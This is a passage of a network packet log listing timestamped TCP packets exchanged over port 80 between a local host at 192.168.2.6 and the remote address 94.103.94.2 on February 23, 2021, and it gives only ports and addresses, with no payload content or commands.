Feb 23, 2021 10:04:53.639749050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639760017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639774084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639811039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639828920 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639839888 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639866114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639873028 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639889956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639914036 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639931917 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.639938116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639970064 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.639991999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640003920 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640016079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640043974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640053988 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640069008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640091896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640099049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640115976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640139103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640142918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640162945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640187025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640191078 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640211105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640238047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640242100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640264034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640286922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640291929 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640311956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640336037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640336037 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640360117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640384912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640388966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640408993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640435934 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640440941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640460014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640485048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640485048 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640510082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.640527010 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.640569925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.641582966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643258095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643307924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643333912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643357992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643382072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643388033 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643408060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643430948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643452883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643460035 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643481970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643507004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643517971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643532991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643562078 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643580914 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643585920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643615961 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643620014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643645048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643668890 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643670082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643695116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643711090 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643721104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643745899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643760920 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643770933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643799067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643802881 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643822908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643845081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643853903 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643871069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643894911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643902063 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643919945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643943071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643951893 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.643973112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.643999100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644007921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644023895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644048929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644057035 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644076109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644100904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644109011 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644125938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644150019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644159079 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644179106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644205093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644224882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644239902 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644249916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644268036 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.644273996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644301891 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.644315958 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.645840883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.645874977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.645898104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.645917892 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.645956993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.649730921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.650257111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.650290966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.650319099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.650357008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.650535107 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.655649900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.681566000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681617975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681652069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681688070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681711912 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.681721926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681756973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681776047 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.681790113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.681857109 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689037085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689080954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689105988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689126015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689148903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689176083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689203024 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689227104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689251900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689255953 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689275026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689301968 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689327002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689336061 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689352989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689368010 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689379930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689440012 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689444065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689471960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689496994 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689518929 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689521074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689547062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689565897 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689573050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689598083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689614058 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689623117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689650059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689670086 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689677000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689702988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689719915 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689728975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689754963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689774036 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689780951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689807892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689826012 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689835072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689862013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689877033 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689901114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689927101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689950943 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.689960957 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.689985037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690007925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690010071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690032005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690054893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690057039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690073967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690089941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690102100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690108061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690126896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690136909 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690144062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690161943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690179110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690186977 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690202951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690221071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690229893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690254927 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690254927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690279961 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690295935 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690304041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690330029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690354109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690370083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690378904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690406084 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690407991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690434933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690448046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690459967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690485001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690510035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690520048 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690535069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690561056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690570116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690587044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690613985 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690614939 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690643072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690664053 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690668106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690696001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690722942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690726042 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690749884 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690771103 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690776110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690802097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690817118 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690828085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690867901 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690887928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690915108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690937996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690956116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.690964937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.690995932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691008091 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691028118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691052914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691072941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691078901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691104889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691118002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691133976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691159964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691178083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691184998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691210985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691222906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691235065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691260099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691274881 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691283941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691307068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691324949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691334009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691360950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691381931 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691384077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691410065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691431046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691433907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691462040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691481113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691488028 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691514015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691539049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691540956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691569090 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691591024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691593885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691620111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691637993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691647053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691673994 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691689968 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691698074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691724062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691741943 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691751957 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691777945 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691777945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691804886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691827059 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691829920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691854954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691854954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691879988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691901922 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691906929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691934109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691961050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.691963911 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.691987038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692004919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692013025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692039967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692065001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692074060 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692090988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692110062 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692116022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692142010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692152023 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692169905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692195892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692219019 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692219973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692246914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692270041 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692272902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692298889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692317009 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692325115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692365885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692765951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692802906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692827940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692857027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692867994 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692883015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692908049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692917109 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692935944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692950964 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.692964077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.692989111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693010092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693015099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693041086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693059921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693068027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693097115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693119049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.693121910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693146944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.693161011 CET	49774	80	192.168.2.6	94.103.94.2
